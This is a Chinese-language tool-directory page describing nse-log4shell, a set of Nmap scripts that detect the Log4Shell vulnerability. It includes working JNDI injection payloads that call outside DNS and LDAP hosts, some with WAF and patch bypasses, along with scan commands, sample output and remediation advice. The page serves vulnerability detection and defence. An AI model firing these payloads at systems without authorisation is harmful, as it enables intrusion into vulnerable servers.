Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
nse-log4shell — 针对 log4shell 或 LogJam 漏洞(CVE-2021-44228)进行检测的 Nmap NSE 脚本。 | Kitploit
工具/GitHubGitHub/diverto/nse-log4shell
漏洞扫描器漏洞利用Web安全网络安全渗透测试DNS 分析Archived
GitHubdiverto/nse-log4shell

nse-log4shell

针对 log4shell 或 LogJam 漏洞(CVE-2021-44228)进行检测的 Nmap NSE 脚本。

查看仓库
352474年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

nse-log4shell

Nmap NSE 脚本,用于检查 log4shell 或 LogJam 漏洞(CVE-2021-44228)。 这些 NSE 脚本检查互联网上最常用的暴露服务。这是一个基础脚本,你可以自定义 payload。

示例

请注意,NSE 脚本只会向服务发出请求。Nmap 不会报告易受攻击的主机,你需要检查 DNS 日志来确定漏洞。如果你没有手动指定 payload,NSE 脚本将默认使用 dnslog.cn。这意味着请求将被 dnslog.cn 看到。

借助 dnslog.cn 快速开始

切换到这些脚本所在的目录,并执行以下命令(Nmap 会自动获取 dnslog.cn)。

在 Linux 上:

root@kitploit:~
cd nse-log4shell
nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org

在 Windows 上:

root@kitploit:~
cd nse-log4shell
nmap -sV -T4 -v --script=%cd%/ scanme.nmap.org

需要考虑的 Payload

v2.15.0 的新补丁绕过(CVE-2021-45046),感谢 @marcioalm(推文):

root@kitploit:~
${jndi:ldap://127.0.0.1#{{target}}.xxx.dnslog.cn:1389/a}

AWS 绕过(感谢 @11xuxx - 推文):

root@kitploit:~
${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o}

Akamai 绕过(感谢 @ozgur_bbh - 推文):

root@kitploit:~
${jndi${123%25ff:-}:ldap://HOST:PORT/a}

手动配置

Windows 示例(感谢 @ZedFuzz)- 注意如何转义引号:

root@kitploit:~
nmap -v --script=http-log4shell,ssh-log4shell,imap-log4shell "--script-args=log4shell.payload=\"${jndi:ldap://{{target}}.xxxx.dnslog.cn}\"" -T4 -n --script-timeout=1m scanme.nmap.org

借助 logdns(自定义 DNS 日志服务器)

前往 http://github.com/kost/logdns 获取 DNS 服务器。获取域名并将其指向你安装 logdns 的某个位置:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.logdns.xxx}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

借助 dnslog.cn

前往 http://dnslog.cn/ 获取子域。用你的子域替换 xxxx:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.dnslog.cn}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

借助 burpcollaborator

从 Burp collaborator 获取你的域名,并用你的域名替换 xxxx:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.burpcollaborator.net/diverto}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

借助 CanaryToken (https://canarytokens.org/generate#)

从 CanaryToken 获取你的 Token,并用你的域名替换 xxxx:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}"' -T4 -n -pssh,imap*,http* --script-timeout=1m MY.IPs.TO.SCAN

感谢 @saintz666

推荐方式

dnslog.cn 的会话时间很短(大约半小时)。应该有办法将会话延长到扫描所需的时间。此外,有时 DNS 查询会远晚于收到请求的时间。有人报告在发出请求数小时后才收到 DNS 请求。 作为变通方案,nmap NSE 脚本会在每次扫描主机后检索会话。

因此,目前来说,为了最佳保证,建议使用自定义 DNS 域名配合 logdns 之类的工具: https://github.com/kost/logdns

示例输出

root@kitploit:~
nmap -T4 -v --script=$PWD/ scanme.nmap.org
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-15 12:37 CET
NSE: Loaded 5 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.53s elapsed
Pre-scan script results:
| dnslog-cn:
|   Domain: 2t722h.dnslog.cn
|_  Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
Initiating Ping Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [2 ports]
Completed Ping Scan at 12:37, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:37
Completed Parallel DNS resolution of 1 host. at 12:37, 1.18s elapsed
Initiating Connect Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [1000 ports]
Discovered open port 80/tcp on 45.33.32.156
Discovered open port 53/tcp on 45.33.32.156
Discovered open port 22/tcp on 45.33.32.156
Stats: 0:00:23 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 56.00% done; ETC: 12:37 (0:00:16 remaining)
Discovered open port 9929/tcp on 45.33.32.156
Discovered open port 31337/tcp on 45.33.32.156
Completed Connect Scan at 12:37, 37.06s elapsed (1000 total ports)
NSE: Script scanning 45.33.32.156.
Initiating NSE at 12:37
Completed NSE at 12:37, 6.19s elapsed
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.18s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
9929/tcp  open  nping-echo
31337/tcp open  Elite

Host script results:
| dnslog-cn:
|   List of hosts responded: []
|   Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_  If list is not empty, check hosts as they are potentially vulnerable

NSE: Script Post-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.50s elapsed
Post-scan script results:
| dnslog-cn:
|   List of hosts responded: []
|   Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_  If list is not empty, check hosts as they are potentially vulnerable
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.11 seconds

解决方案/修复

最佳修复和变通方案列表。

最佳修复

保护免受 CVE-2021-44228 影响的最佳解决方案: 更新到 log4j-2.16.0 或更高版本。

注意,由于发现了新漏洞,不再推荐使用 log4j-2.15.0-rc1。因此,你应更新到 log4j-2.16.0 或更高版本(感谢 @ruppde)。

此外,还应注意应避免其他建议,例如将 log4j2.formatMsgNoLookups 设置为 true。

最佳识别

通过查看本地文件系统中是否存在 log4j 构件来识别 log4shell 漏洞是最佳方法。

这些 NSE 脚本仅应用于额外的保证。NSE 有助于识别易受攻击的服务,而非易受攻击的应用程序。如果应用程序记录每个请求(包括根路径 /),则它可以识别易受攻击的应用程序,但如果漏洞隐藏在某个登录后面,则无法识别。你需要一个能爬取整个网站的 Web 扫描器来实现这一点。

你可以通过以下示例检查特定 URI: http-log4shell.url=/my/application/uri

它将通过 HTTP 头和 cookie 进行检查。如果你需要检查 POST/GET 表单,则应使用 http-spider-log4shell。尽管如此,最好还是使用支持 log4j 的 Web 扫描器。

还要注意,对于 log4j-core <= 2.7,在表达式中使用前缀组合的 DNS 解析似乎不受支持。因此,使用类似 ${java:os} 进行测试可能导致假阴性。 因此,宁可有一些误报,也不要有漏报。

参考资料

关于漏洞的一般参考资料和链接

通用

Reddit thread - 关于 log4shell 的通用信息

NCC log4shell - 关于漏洞的操作信息(IOCs、缓解措施、扫描、软件)

相关

BlueTeam CheatSheet Log4Shell - 与 Log4Shell(CVE-2021-44228)相关的安全公告 / 公告列表

Software List - cheat-sheet reference guide - 按厂商响应列出的受影响软件列表

测试

请注意,远程和在线检查作为额外保证或快速测试是有用的。为了额外的保证,建议在本地扫描文件以查找已知的 log4j 特征。

lo4shell.huntress.com - 在线 Log4Shell 漏洞测试器

log4j yara - 用于本地检测的 yara 规则

identify-log4j-class-location.sh - 用于识别 ear/war/jar 文件中受 Log4J 漏洞 CVE-2021-44228 影响的类的脚本

利用

PoC-log4j-bypass-words - 绕过单词屏蔽补丁的技巧

利用检测

log4shell-detector - Log4Shell 利用尝试检测器

Log4Shell-IOCs - IOC 源和威胁报告列表

log4j_rce_detection.md - 你可以使用这些命令和规则搜索利用尝试

缓解/修复

log4j advisory - Apache Log4j 安全漏洞

log4j pull request and comments - 修复漏洞的 pull request 及评论

Logout4Shell - 手动修补的快速且粗糙的替代方案

下载工具